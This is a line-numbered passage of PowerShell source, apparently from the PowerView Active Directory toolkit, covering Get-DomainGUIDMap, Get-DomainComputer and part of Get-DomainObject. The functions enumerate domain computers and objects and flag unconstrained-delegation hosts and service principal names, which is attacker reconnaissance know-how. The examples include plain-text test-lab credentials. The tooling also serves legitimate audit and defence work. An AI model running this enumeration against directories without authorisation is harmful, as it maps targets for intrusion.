   5878         [Alias('DomainController')]
   5879         [String]
   5880         $Server,
   5881 
   5882         [ValidateRange(1, 10000)]
   5883         [Int]
   5884         $ResultPageSize = 200,
   5885 
   5886         [ValidateRange(1, 10000)]
   5887         [Int]
   5888         $ServerTimeLimit,
   5889 
   5890         [Management.Automation.PSCredential]
   5891         [Management.Automation.CredentialAttribute()]
   5892         $Credential = [Management.Automation.PSCredential]::Empty
   5893     )
   5894 
   5895     $GUIDs = @{'00000000-0000-0000-0000-000000000000' = 'All'}
   5896 
   5897     $ForestArguments = @{}
   5898     if ($PSBoundParameters['Credential']) { $ForestArguments['Credential'] = $Credential }
   5899 
   5900     try {
   5901         $SchemaPath = (Get-Forest @ForestArguments).schema.name
   5902     }
   5903     catch {
   5904         throw '[Get-DomainGUIDMap] Error in retrieving forest schema path from Get-Forest'
   5905     }
   5906     if (-not $SchemaPath) {
   5907         throw '[Get-DomainGUIDMap] Error in retrieving forest schema path from Get-Forest'
   5908     }
   5909 
   5910     $SearcherArguments = @{
   5911         'SearchBase' = $SchemaPath
   5912         'LDAPFilter' = '(schemaIDGUID=*)'
   5913     }
   5914     if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
   5915     if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
   5916     if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
   5917     if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
   5918     if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
   5919     $SchemaSearcher = Get-DomainSearcher @SearcherArguments
   5920 
   5921     if ($SchemaSearcher) {
   5922         try {
   5923             $Results = $SchemaSearcher.FindAll()
   5924             $Results | Where-Object {$_} | ForEach-Object {
   5925                 $GUIDs[(New-Object Guid (,$_.properties.schemaidguid[0])).Guid] = $_.properties.name[0]
   5926             }
   5927             if ($Results) {
   5928                 try { $Results.dispose() }
   5929                 catch {
   5930                     Write-Verbose "[Get-DomainGUIDMap] Error disposing of the Results object: $_"
   5931                 }
   5932             }
   5933             $SchemaSearcher.dispose()
   5934         }
   5935         catch {
   5936             Write-Verbose "[Get-DomainGUIDMap] Error in building GUID map: $_"
   5937         }
   5938     }
   5939 
   5940     $SearcherArguments['SearchBase'] = $SchemaPath.replace('Schema','Extended-Rights')
   5941     $SearcherArguments['LDAPFilter'] = '(objectClass=controlAccessRight)'
   5942     $RightsSearcher = Get-DomainSearcher @SearcherArguments
   5943 
   5944     if ($RightsSearcher) {
   5945         try {
   5946             $Results = $RightsSearcher.FindAll()
   5947             $Results | Where-Object {$_} | ForEach-Object {
   5948                 $GUIDs[$_.properties.rightsguid[0].toString()] = $_.properties.name[0]
   5949             }
   5950             if ($Results) {
   5951                 try { $Results.dispose() }
   5952                 catch {
   5953                     Write-Verbose "[Get-DomainGUIDMap] Error disposing of the Results object: $_"
   5954                 }
   5955             }
   5956             $RightsSearcher.dispose()
   5957         }
   5958         catch {
   5959             Write-Verbose "[Get-DomainGUIDMap] Error in building GUID map: $_"
   5960         }
   5961     }
   5962 
   5963     $GUIDs
   5964 }
   5965 
   5966 
   5967 function Get-DomainComputer {
   5968 <#
   5969 .SYNOPSIS
   5970 
   5971 Return all computers or specific computer objects in AD.
   5972 
   5973 Author: Will Schroeder (@harmj0y)  
   5974 License: BSD 3-Clause  
   5975 Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty  
   5976 
   5977 .DESCRIPTION
   5978 
   5979 Builds a directory searcher object using Get-DomainSearcher, builds a custom
   5980 LDAP filter based on targeting/filter parameters, and searches for all objects
   5981 matching the criteria. To only return specific properties, use
   5982 "-Properties samaccountname,usnchanged,...". By default, all computer objects for
   5983 the current domain are returned.
   5984 
   5985 .PARAMETER Identity
   5986 
   5987 A SamAccountName (e.g. WINDOWS10$), DistinguishedName (e.g. CN=WINDOWS10,CN=Computers,DC=testlab,DC=local),
   5988 SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1124), GUID (e.g. 4f16b6bc-7010-4cbf-b628-f3cfe20f6994),
   5989 or a dns host name (e.g. windows10.testlab.local). Wildcards accepted.
   5990 
   5991 .PARAMETER UACFilter
   5992 
   5993 Dynamic parameter that accepts one or more values from $UACEnum, including
   5994 "NOT_X" negation forms. To see all possible values, run '0|ConvertFrom-UACValue -ShowAll'.
   5995 
   5996 .PARAMETER Unconstrained
   5997 
   5998 Switch. Return computer objects that have unconstrained delegation.
   5999 
   6000 .PARAMETER TrustedToAuth
   6001 
   6002 Switch. Return computer objects that are trusted to authenticate for other principals.
   6003 
   6004 .PARAMETER Printers
   6005 
   6006 Switch. Return only printers.
   6007 
   6008 .PARAMETER SPN
   6009 
   6010 Return computers with a specific service principal name, wildcards accepted.
   6011 
   6012 .PARAMETER OperatingSystem
   6013 
   6014 Return computers with a specific operating system, wildcards accepted.
   6015 
   6016 .PARAMETER ServicePack
   6017 
   6018 Return computers with a specific service pack, wildcards accepted.
   6019 
   6020 .PARAMETER SiteName
   6021 
   6022 Return computers in the specific AD Site name, wildcards accepted.
   6023 
   6024 .PARAMETER Ping
   6025 
   6026 Switch. Ping each host to ensure it's up before enumerating.
   6027 
   6028 .PARAMETER Domain
   6029 
   6030 Specifies the domain to use for the query, defaults to the current domain.
   6031 
   6032 .PARAMETER LDAPFilter
   6033 
   6034 Specifies an LDAP query string that is used to filter Active Directory objects.
   6035 
   6036 .PARAMETER Properties
   6037 
   6038 Specifies the properties of the output object to retrieve from the server.
   6039 
   6040 .PARAMETER SearchBase
   6041 
   6042 The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
   6043 Useful for OU queries.
   6044 
   6045 .PARAMETER Server
   6046 
   6047 Specifies an Active Directory server (domain controller) to bind to.
   6048 
   6049 .PARAMETER SearchScope
   6050 
   6051 Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
   6052 
   6053 .PARAMETER ResultPageSize
   6054 
   6055 Specifies the PageSize to set for the LDAP searcher object.
   6056 
   6057 .PARAMETER ServerTimeLimit
   6058 
   6059 Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
   6060 
   6061 .PARAMETER SecurityMasks
   6062 
   6063 Specifies an option for examining security information of a directory object.
   6064 One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
   6065 
   6066 .PARAMETER Tombstone
   6067 
   6068 Switch. Specifies that the searcher should also return deleted/tombstoned objects.
   6069 
   6070 .PARAMETER FindOne
   6071 
   6072 Only return one result object.
   6073 
   6074 .PARAMETER Credential
   6075 
   6076 A [Management.Automation.PSCredential] object of alternate credentials
   6077 for connection to the target domain.
   6078 
   6079 .PARAMETER Raw
   6080 
   6081 Switch. Return raw results instead of translating the fields into a custom PSObject.
   6082 
   6083 .EXAMPLE
   6084 
   6085 Get-DomainComputer
   6086 
   6087 Returns the current computers in current domain.
   6088 
   6089 .EXAMPLE
   6090 
   6091 Get-DomainComputer -SPN mssql* -Domain testlab.local
   6092 
   6093 Returns all MS SQL servers in the testlab.local domain.
   6094 
   6095 .EXAMPLE
   6096 
   6097 Get-DomainComputer -UACFilter TRUSTED_FOR_DELEGATION,SERVER_TRUST_ACCOUNT -Properties dnshostname
   6098 
   6099 Return the dns hostnames of servers trusted for delegation.
   6100 
   6101 .EXAMPLE
   6102 
   6103 Get-DomainComputer -SearchBase "LDAP://OU=secret,DC=testlab,DC=local" -Unconstrained
   6104 
   6105 Search the specified OU for computeres that allow unconstrained delegation.
   6106 
   6107 .EXAMPLE
   6108 
   6109 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
   6110 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
   6111 Get-DomainComputer -Credential $Cred
   6112 
   6113 .OUTPUTS
   6114 
   6115 PowerView.Computer
   6116 
   6117 Custom PSObject with translated computer property fields.
   6118 
   6119 PowerView.Computer.Raw
   6120 
   6121 The raw DirectoryServices.SearchResult object, if -Raw is enabled.
   6122 #>
   6123 
   6124     [OutputType('PowerView.Computer')]
   6125     [OutputType('PowerView.Computer.Raw')]
   6126     [CmdletBinding()]
   6127     Param (
   6128         [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
   6129         [Alias('SamAccountName', 'Name', 'DNSHostName')]
   6130         [String[]]
   6131         $Identity,
   6132 
   6133         [Switch]
   6134         $Unconstrained,
   6135 
   6136         [Switch]
   6137         $TrustedToAuth,
   6138 
   6139         [Switch]
   6140         $Printers,
   6141 
   6142         [ValidateNotNullOrEmpty()]
   6143         [Alias('ServicePrincipalName')]
   6144         [String]
   6145         $SPN,
   6146 
   6147         [ValidateNotNullOrEmpty()]
   6148         [String]
   6149         $OperatingSystem,
   6150 
   6151         [ValidateNotNullOrEmpty()]
   6152         [String]
   6153         $ServicePack,
   6154 
   6155         [ValidateNotNullOrEmpty()]
   6156         [String]
   6157         $SiteName,
   6158 
   6159         [Switch]
   6160         $Ping,
   6161 
   6162         [ValidateNotNullOrEmpty()]
   6163         [String]
   6164         $Domain,
   6165 
   6166         [ValidateNotNullOrEmpty()]
   6167         [Alias('Filter')]
   6168         [String]
   6169         $LDAPFilter,
   6170 
   6171         [ValidateNotNullOrEmpty()]
   6172         [String[]]
   6173         $Properties,
   6174 
   6175         [ValidateNotNullOrEmpty()]
   6176         [Alias('ADSPath')]
   6177         [String]
   6178         $SearchBase,
   6179 
   6180         [ValidateNotNullOrEmpty()]
   6181         [Alias('DomainController')]
   6182         [String]
   6183         $Server,
   6184 
   6185         [ValidateSet('Base', 'OneLevel', 'Subtree')]
   6186         [String]
   6187         $SearchScope = 'Subtree',
   6188 
   6189         [ValidateRange(1, 10000)]
   6190         [Int]
   6191         $ResultPageSize = 200,
   6192 
   6193         [ValidateRange(1, 10000)]
   6194         [Int]
   6195         $ServerTimeLimit,
   6196 
   6197         [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
   6198         [String]
   6199         $SecurityMasks,
   6200 
   6201         [Switch]
   6202         $Tombstone,
   6203 
   6204         [Alias('ReturnOne')]
   6205         [Switch]
   6206         $FindOne,
   6207 
   6208         [Management.Automation.PSCredential]
   6209         [Management.Automation.CredentialAttribute()]
   6210         $Credential = [Management.Automation.PSCredential]::Empty,
   6211 
   6212         [Switch]
   6213         $Raw
   6214     )
   6215 
   6216     DynamicParam {
   6217         $UACValueNames = [Enum]::GetNames($UACEnum)
   6218         # add in the negations
   6219         $UACValueNames = $UACValueNames | ForEach-Object {$_; "NOT_$_"}
   6220         # create new dynamic parameter
   6221         New-DynamicParameter -Name UACFilter -ValidateSet $UACValueNames -Type ([array])
   6222     }
   6223 
   6224     BEGIN {
   6225         $SearcherArguments = @{}
   6226         if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
   6227         if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
   6228         if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
   6229         if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
   6230         if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
   6231         if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
   6232         if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
   6233         if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
   6234         if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
   6235         if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
   6236         $CompSearcher = Get-DomainSearcher @SearcherArguments
   6237     }
   6238 
   6239     PROCESS {
   6240         #bind dynamic parameter to a friendly variable
   6241         if ($PSBoundParameters -and ($PSBoundParameters.Count -ne 0)) {
   6242             New-DynamicParameter -CreateVariables -BoundParameters $PSBoundParameters
   6243         }
   6244 
   6245         if ($CompSearcher) {
   6246             $IdentityFilter = ''
   6247             $Filter = ''
   6248             $Identity | Where-Object {$_} | ForEach-Object {
   6249                 $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
   6250                 if ($IdentityInstance -match '^S-1-') {
   6251                     $IdentityFilter += "(objectsid=$IdentityInstance)"
   6252                 }
   6253                 elseif ($IdentityInstance -match '^CN=') {
   6254                     $IdentityFilter += "(distinguishedname=$IdentityInstance)"
   6255                     if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
   6256                         # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
   6257                         #   and rebuild the domain searcher
   6258                         $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
   6259                         Write-Verbose "[Get-DomainComputer] Extracted domain '$IdentityDomain' from '$IdentityInstance'"
   6260                         $SearcherArguments['Domain'] = $IdentityDomain
   6261                         $CompSearcher = Get-DomainSearcher @SearcherArguments
   6262                         if (-not $CompSearcher) {
   6263                             Write-Warning "[Get-DomainComputer] Unable to retrieve domain searcher for '$IdentityDomain'"
   6264                         }
   6265                     }
   6266                 }
   6267                 elseif ($IdentityInstance.Contains('.')) {
   6268                     $IdentityFilter += "(|(name=$IdentityInstance)(dnshostname=$IdentityInstance))"
   6269                 }
   6270                 elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') {
   6271                     $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join ''
   6272                     $IdentityFilter += "(objectguid=$GuidByteString)"
   6273                 }
   6274                 else {
   6275                     $IdentityFilter += "(name=$IdentityInstance)"
   6276                 }
   6277             }
   6278             if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
   6279                 $Filter += "(|$IdentityFilter)"
   6280             }
   6281 
   6282             if ($PSBoundParameters['Unconstrained']) {
   6283                 Write-Verbose '[Get-DomainComputer] Searching for computers with for unconstrained delegation'
   6284                 $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=524288)'
   6285             }
   6286             if ($PSBoundParameters['TrustedToAuth']) {
   6287                 Write-Verbose '[Get-DomainComputer] Searching for computers that are trusted to authenticate for other principals'
   6288                 $Filter += '(msds-allowedtodelegateto=*)'
   6289             }
   6290             if ($PSBoundParameters['Printers']) {
   6291                 Write-Verbose '[Get-DomainComputer] Searching for printers'
   6292                 $Filter += '(objectCategory=printQueue)'
   6293             }
   6294             if ($PSBoundParameters['SPN']) {
   6295                 Write-Verbose "[Get-DomainComputer] Searching for computers with SPN: $SPN"
   6296                 $Filter += "(servicePrincipalName=$SPN)"
   6297             }
   6298             if ($PSBoundParameters['OperatingSystem']) {
   6299                 Write-Verbose "[Get-DomainComputer] Searching for computers with operating system: $OperatingSystem"
   6300                 $Filter += "(operatingsystem=$OperatingSystem)"
   6301             }
   6302             if ($PSBoundParameters['ServicePack']) {
   6303                 Write-Verbose "[Get-DomainComputer] Searching for computers with service pack: $ServicePack"
   6304                 $Filter += "(operatingsystemservicepack=$ServicePack)"
   6305             }
   6306             if ($PSBoundParameters['SiteName']) {
   6307                 Write-Verbose "[Get-DomainComputer] Searching for computers with site name: $SiteName"
   6308                 $Filter += "(serverreferencebl=$SiteName)"
   6309             }
   6310             if ($PSBoundParameters['LDAPFilter']) {
   6311                 Write-Verbose "[Get-DomainComputer] Using additional LDAP filter: $LDAPFilter"
   6312                 $Filter += "$LDAPFilter"
   6313             }
   6314             # build the LDAP filter for the dynamic UAC filter value
   6315             $UACFilter | Where-Object {$_} | ForEach-Object {
   6316                 if ($_ -match 'NOT_.*') {
   6317                     $UACField = $_.Substring(4)
   6318                     $UACValue = [Int]($UACEnum::$UACField)
   6319                     $Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=$UACValue))"
   6320                 }
   6321                 else {
   6322                     $UACValue = [Int]($UACEnum::$_)
   6323                     $Filter += "(userAccountControl:1.2.840.113556.1.4.803:=$UACValue)"
   6324                 }
   6325             }
   6326 
   6327             $CompSearcher.filter = "(&(samAccountType=805306369)$Filter)"
   6328             Write-Verbose "[Get-DomainComputer] Get-DomainComputer filter string: $($CompSearcher.filter)"
   6329 
   6330             if ($PSBoundParameters['FindOne']) { $Results = $CompSearcher.FindOne() }
   6331             else { $Results = $CompSearcher.FindAll() }
   6332             $Results | Where-Object {$_} | ForEach-Object {
   6333                 $Up = $True
   6334                 if ($PSBoundParameters['Ping']) {
   6335                     $Up = Test-Connection -Count 1 -Quiet -ComputerName $_.properties.dnshostname
   6336                 }
   6337                 if ($Up) {
   6338                     if ($PSBoundParameters['Raw']) {
   6339                         # return raw result objects
   6340                         $Computer = $_
   6341                         $Computer.PSObject.TypeNames.Insert(0, 'PowerView.Computer.Raw')
   6342                     }
   6343                     else {
   6344                         $Computer = Convert-LDAPProperty -Properties $_.Properties
   6345                         $Computer.PSObject.TypeNames.Insert(0, 'PowerView.Computer')
   6346                     }
   6347                     $Computer
   6348                 }
   6349             }
   6350             if ($Results) {
   6351                 try { $Results.dispose() }
   6352                 catch {
   6353                     Write-Verbose "[Get-DomainComputer] Error disposing of the Results object: $_"
   6354                 }
   6355             }
   6356             $CompSearcher.dispose()
   6357         }
   6358     }
   6359 }
   6360 
   6361 
   6362 function Get-DomainObject {
   6363 <#
   6364 .SYNOPSIS
   6365 
   6366 Return all (or specified) domain objects in AD.
   6367 
   6368 Author: Will Schroeder (@harmj0y)  
   6369 License: BSD 3-Clause  
   6370 Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty, Convert-ADName  
   6371 
   6372 .DESCRIPTION
   6373 
   6374 Builds a directory searcher object using Get-DomainSearcher, builds a custom
   6375 LDAP filter based on targeting/filter parameters, and searches for all objects
   6376 matching the criteria. To only return specific properties, use
   6377 "-Properties samaccountname,usnchanged,...". By default, all objects for
   6378 the current domain are returned.
   6379 
   6380 .PARAMETER Identity
   6381 
   6382 A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
   6383 SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201).
   6384 Wildcards accepted.
   6385 
   6386 .PARAMETER UACFilter
   6387 
   6388 Dynamic parameter that accepts one or more values from $UACEnum, including
   6389 "NOT_X" negation forms. To see all possible values, run '0|ConvertFrom-UACValue -ShowAll'.
   6390 
   6391 .PARAMETER Domain
   6392 
   6393 Specifies the domain to use for the query, defaults to the current domain.
   6394 
   6395 .PARAMETER LDAPFilter
   6396 
   6397 Specifies an LDAP query string that is used to filter Active Directory objects.
   6398 
   6399 .PARAMETER Properties
   6400 
   6401 Specifies the properties of the output object to retrieve from the server.
   6402 
   6403 .PARAMETER SearchBase
   6404 
   6405 The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
   6406 Useful for OU queries.
   6407 
   6408 .PARAMETER Server
   6409 
   6410 Specifies an Active Directory server (domain controller) to bind to.
   6411 
   6412 .PARAMETER SearchScope
   6413 
   6414 Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
   6415 
   6416 .PARAMETER ResultPageSize
   6417 
   6418 Specifies the PageSize to set for the LDAP searcher object.
   6419 
   6420 .PARAMETER ServerTimeLimit
   6421 
   6422 Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
   6423 
   6424 .PARAMETER SecurityMasks
   6425 
   6426 Specifies an option for examining security information of a directory object.
   6427 One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
   6428 
   6429 .PARAMETER Tombstone
   6430 
   6431 Switch. Specifies that the searcher should also return deleted/tombstoned objects.
   6432 
   6433 .PARAMETER FindOne
   6434 
   6435 Only return one result object.
   6436 
   6437 .PARAMETER Credential
   6438 
   6439 A [Management.Automation.PSCredential] object of alternate credentials
   6440 for connection to the target domain.
   6441 
   6442 .PARAMETER Raw
   6443 
   6444 Switch. Return raw results instead of translating the fields into a custom PSObject.
   6445 
   6446 .EXAMPLE
   6447 
   6448 Get-DomainObject -Domain testlab.local
   6449 
   6450 Return all objects for the testlab.local domain
   6451 
   6452 .EXAMPLE
   6453 
   6454 'S-1-5-21-890171859-3433809279-3366196753-1003', 'CN=dfm,CN=Users,DC=testlab,DC=local','b6a9a2fb-bbd5-4f28-9a09-23213cea6693','dfm.a' | Get-DomainObject -Properties distinguishedname
   6455 
   6456 distinguishedname
   6457 -----------------
   6458 CN=PRIMARY,OU=Domain Controllers,DC=testlab,DC=local
   6459 CN=dfm,CN=Users,DC=testlab,DC=local
   6460 OU=OU3,DC=testlab,DC=local
   6461 CN=dfm (admin),CN=Users,DC=testlab,DC=local
   6462 
   6463 .EXAMPLE
   6464 
   6465 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
   6466 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
   6467 Get-DomainObject -Credential $Cred -Identity 'windows1'
   6468 
   6469 .EXAMPLE
   6470 
   6471 Get-Domain | Select-Object -Expand name
   6472 testlab.local
   6473 
   6474 'testlab\harmj0y','DEV\Domain Admins' | Get-DomainObject -Verbose -Properties distinguishedname
   6475 VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
   6476 VERBOSE: [Get-DomainUser] Extracted domain 'testlab.local' from 'testlab\harmj0y'
   6477 VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
   6478 VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(samAccountName=harmj0y)))
   6479 
   6480 distinguishedname
   6481 -----------------
   6482 CN=harmj0y,CN=Users,DC=testlab,DC=local
   6483 VERBOSE: [Get-DomainUser] Extracted domain 'dev.testlab.local' from 'DEV\Domain Admins'
   6484 VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local
   6485 VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(samAccountName=Domain Admins)))
   6486 CN=Domain Admins,CN=Users,DC=dev,DC=testlab,DC=local
   6487 
   6488 .OUTPUTS
   6489 
   6490 PowerView.ADObject
   6491 
   6492 Custom PSObject with translated AD object property fields.
   6493 
   6494 PowerView.ADObject.Raw
   6495 
   6496 The raw DirectoryServices.SearchResult object, if -Raw is enabled.
   6497 #>
   6498 
   6499     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
   6500     [OutputType('PowerView.ADObject')]
   6501     [OutputType('PowerView.ADObject.Raw')]
   6502     [CmdletBinding()]
   6503     Param(
   6504         [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
   6505         [Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')]
   6506         [String[]]
   6507         $Identity,
   6508 
   6509         [ValidateNotNullOrEmpty()]
   6510         [String]
   6511         $Domain,
   6512 
   6513         [ValidateNotNullOrEmpty()]
   6514         [Alias('Filter')]
   6515         [String]
   6516         $LDAPFilter,
   6517 
   6518         [ValidateNotNullOrEmpty()]
   6519         [String[]]
   6520         $Properties,
   6521 
   6522         [ValidateNotNullOrEmpty()]
   6523         [Alias('ADSPath')]
   6524         [String]
   6525         $SearchBase,
   6526 
   6527         [ValidateNotNullOrEmpty()]
   6528         [Alias('DomainController')]
   6529         [String]
   6530         $Server,
   6531 
   6532         [ValidateSet('Base', 'OneLevel', 'Subtree')]
   6533         [String]
   6534         $SearchScope = 'Subtree',
   6535 
   6536         [ValidateRange(1, 10000)]
   6537         [Int]
   6538         $ResultPageSize = 200,
   6539 
   6540         [ValidateRange(1, 10000)]
   6541         [Int]
   6542         $ServerTimeLimit,
   6543 
   6544         [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
   6545         [String]
   6546         $SecurityMasks,
   6547 
   6548         [Switch]
   6549         $Tombstone,
   6550 
   6551         [Alias('ReturnOne')]
   6552         [Switch]
   6553         $FindOne,
   6554 
   6555         [Management.Automation.PSCredential]
   6556         [Management.Automation.CredentialAttribute()]
   6557         $Credential = [Management.Automation.PSCredential]::Empty,
   6558 
   6559         [Switch]
   6560         $Raw
   6561     )
   6562 
   6563     DynamicParam {
   6564         $UACValueNames = [Enum]::GetNames($UACEnum)
   6565         # add in the negations
   6566         $UACValueNames = $UACValueNames | ForEach-Object {$_; "NOT_$_"}
   6567         # create new dynamic parameter
   6568         New-DynamicParameter -Name UACFilter -ValidateSet $UACValueNames -Type ([array])
   6569     }
   6570 
   6571     BEGIN {
   6572         $SearcherArguments = @{}
   6573         if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
   6574         if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
   6575         if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
   6576         if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
   6577         if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
   6578         if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
   6579         if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
   6580         if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
   6581         if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
   6582         if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
   6583         $ObjectSearcher = Get-DomainSearcher @SearcherArguments
   6584     }
   6585 
   6586     PROCESS {
   6587         #bind dynamic parameter to a friendly variable
   6588         if ($PSBoundParameters -and ($PSBoundParameters.Count -ne 0)) {
   6589             New-DynamicParameter -CreateVariables -BoundParameters $PSBoundParameters
   6590         }
   6591         if ($ObjectSearcher) {
   6592             $IdentityFilter = ''
   6593             $Filter = ''
   6594             $Identity | Where-Object {$_} | ForEach-Object {
   6595                 $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
   6596                 if ($IdentityInstance -match '^S-1-') {
   6597                     $IdentityFilter += "(objectsid=$IdentityInstance)"
   6598                 }
   6599                 elseif ($IdentityInstance -match '^(CN|OU|DC)=') {
   6600                     $IdentityFilter += "(distinguishedname=$IdentityInstance)"
   6601                     if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
   6602                         # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
   6603                         #   and rebuild the domain searcher
   6604                         $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
   6605                         Write-Verbose "[Get-DomainObject] Extracted domain '$IdentityDomain' from '$IdentityInstance'"
   6606                         $SearcherArguments['Domain'] = $IdentityDomain
   6607                         $ObjectSearcher = Get-DomainSearcher @SearcherArguments
   6608                         if (-not $ObjectSearcher) {
   6609                             Write-Warning "[Get-DomainObject] Unable to retrieve domain searcher for '$IdentityDomain'"
   6610                         }
   6611                     }
   6612                 }
   6613                 elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') {
   6614                     $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join ''
   6615                     $IdentityFilter += "(objectguid=$GuidByteString)"
   6616                 }
   6617                 elseif ($IdentityInstance.Contains('\')) {
   6618                     $ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical
   6619                     if ($ConvertedIdentityInstance) {
   6620                         $ObjectDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/'))
   6621                         $ObjectName = $IdentityInstance.Split('\')[1]
   6622                         $IdentityFilter += "(samAccountName=$ObjectName)"
   6623                         $SearcherArguments['Domain'] = $ObjectDomain
   6624                         Write-Verbose "[Get-DomainObject] Extracted domain '$ObjectDomain' from '$IdentityInstance'"
   6625                         $ObjectSearcher = Get-DomainSearcher @SearcherArguments
   6626                     }
   6627                 }
   6628                 elseif ($IdentityInstance.Contains('.')) {
   6629                     $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(dnshostname=$IdentityInstance))"
   6630                 }
   6631                 else {
   6632                     $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(displayname=$IdentityInstance))"
   6633                 }
   6634             }
   6635             if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
   6636                 $Filter += "(|$IdentityFilter)"
   6637             }
   6638 
   6639             if ($PSBoundParameters['LDAPFilter']) {
   6640                 Write-Verbose "[Get-DomainObject] Using additional LDAP filter: $LDAPFilter"
   6641                 $Filter += "$LDAPFilter"
   6642             }
   6643 
   6644             # build the LDAP filter for the dynamic UAC filter value
   6645             $UACFilter | Where-Object {$_} | ForEach-Object {
   6646                 if ($_ -match 'NOT_.*') {
   6647                     $UACField = $_.Substring(4)
   6648                     $UACValue = [Int]($UACEnum::$UACField)
   6649                     $Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=$UACValue))"
   6650                 }
   6651                 else {
   6652                     $UACValue = [Int]($UACEnum::$_)
   6653                     $Filter += "(userAccountControl:1.2.840.113556.1.4.803:=$UACValue)"
   6654                 }
   6655             }
   6656 
   6657             if ($Filter -and $Filter -ne '') {
